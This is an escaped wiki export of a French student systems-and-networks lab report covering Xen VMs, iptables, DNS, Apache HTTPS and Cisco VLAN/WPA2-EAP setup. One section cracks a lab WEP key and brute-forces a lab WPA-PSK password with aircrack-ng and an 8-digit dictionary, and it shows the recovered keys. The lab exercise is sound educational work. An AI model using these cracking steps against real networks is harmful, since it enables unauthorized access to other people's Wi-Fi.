&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Création du Vlan24''' avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc '''incomplète''' et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12352</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12352"/>
		<updated>2026-02-23T10:29:54Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
